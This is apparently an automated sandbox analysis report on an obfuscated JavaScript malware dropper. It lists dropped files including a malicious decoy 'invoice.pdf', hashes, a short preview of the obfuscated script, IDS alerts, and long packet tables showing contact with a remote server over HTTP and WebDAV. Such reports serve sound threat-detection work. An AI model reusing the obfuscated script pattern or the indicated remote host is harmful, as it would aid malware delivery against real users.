._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15000), with CRLF line terminators
Entropy (8bit):	4.925914488925524
TrID:
File name:	213045010931018335.js
File size:	18'515 bytes
MD5:	718868db9a376d616e8d5ce14c606c24
SHA1:	314f4c639244dd604aeff3d0c3f785dfa31dab0f
SHA256:	07cab64f33220e37a14c202d7a86088813e13469bba91d1bd5289b71a82e61fe
SHA512:	ab0acdbf767628024fec365b1fcfaca4cddc0c3044cbe1bb20dc38fe0930d7a3921e4a5950a66ef4c24467c2a15c92b04043c6fed75b69bbd4f1b456c70ca2e7
SSDEEP:	384:C+jGAvnUrb7RAWzktRi00iGyM2CEHqXZ7J8OJqc2AapNTht0BUgJhvvrPDOlA65Y:tjGZr5qc2AapNTht0BUgJhvvrPDOlA6C
TLSH:	908263F5444A82434CE95B200A9F044B5E5C864A1A566EE673FFF89D03677E784FA0FC
File Content Preview:	function ntvcp(){pzssgoncr=[1031,3079,5127,4103,2055,3072];var tmlgidit=this[xejcopf+dmwurawx+npbwejwnn+nofnjtv+vrxzf+wmxtcl+dxkqyxzmr+fzizclr](this[bkhhkpasm+kkczzej+lymqvo+npbwejwnn+wgczf+xejcopf+fzizclr][tccioqhu+npbwejwnn+vrxzf+dmwurawx+fzizclr+vrxzf+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:22:58.883556+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T18:23:01.516632+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:22:57.855825901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:57.860740900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:57.860847950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:57.863845110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:57.868628025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883358002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883397102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883413076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883428097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883454084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883469105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883482933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883497000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883512974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883527040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883542061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.883555889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.883622885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.888492107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888524055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888539076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888556004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888571978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888577938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.888627052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.888920069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888946056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888962030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888977051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888993025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.888998985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.889048100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.889786005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.889811039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.889830112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.889844894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.889851093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.889863014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.889889002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.889909029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.890727997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.890752077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.890768051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.890783072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.890798092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.890803099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.890829086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.891525030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.891599894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.893402100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.893452883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.893575907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.913817883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.913841963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.913858891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.913960934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917196035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917221069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917237997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917273998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917299986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917538881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917577982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917593956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917630911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917635918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917651892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917676926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917691946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917706966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917715073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917726040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917731047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917748928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.917776108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.917819023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.918164015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918246984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918262959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918287039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918294907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.918302059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918318987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918329954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.918335915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918363094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.918802023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918818951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918833017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918848991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.918862104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.918894053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.922146082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922168016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922185898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922204018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922219992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.922245979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922266006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.922297001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.922308922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922326088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922341108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922364950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.922732115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922749043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922764063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922779083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.922826052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.923080921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.923098087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.923111916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.923125982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.923131943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.923150063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.923410892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.923465967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.940490007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.940512896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.940531015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.940550089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:58.940606117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.940649033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.973113060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:58.979088068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.000241995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.000264883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.000317097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.038012028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.038038015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.038050890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.038064003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.038075924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.038086891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.038126945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.038180113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.041786909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041800022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041816950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041831017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041841984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041856050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041862965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.041870117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041899920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.041950941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041963100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041984081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.041986942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.041996956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042015076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042038918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042062044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042152882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042172909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042218924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042232037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042294979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042306900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042318106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042339087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042340040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042354107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042366982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042402029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042659998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042673111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042684078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042714119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042731047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042745113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042756081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042773962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042783022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042808056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042845964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042859077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042872906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042884111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042885065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042896032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042907953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042917013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042920113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.042947054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.042965889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043473959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043487072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043507099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043518066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043529034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043529034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043543100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043560982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043562889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043586016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043632984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043647051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043658018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043673038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043677092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043689966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043703079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043703079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043715954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043728113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043740034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.043741941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043781996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.043793917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.044353008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044485092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044497013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044507980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044518948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044527054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.044532061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044543982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044552088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.044557095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044569969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.044581890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.044600010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.046752930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046814919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.046827078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046838045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046849012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046860933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046873093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.046879053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046891928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046902895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046910048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.046916962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046931028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046941042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.046941996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046953917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046962023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.046966076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.046987057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.047007084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.047430038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.087076902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.087099075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.087110996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.087126970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.087270975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.087377071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.124687910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124716043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124728918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124742031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124764919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124778032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124790907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124803066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124814987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124828100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124836922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.124841928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.124898911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.124898911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.124898911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.128388882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.128407001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.128418922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.128431082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.128443956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.128492117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.128525019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.164180040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164199114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164267063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.164292097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164307117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164321899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164335012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.164376974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.164885998 CET	80	49730	193.143.1.205	192.168.2.4
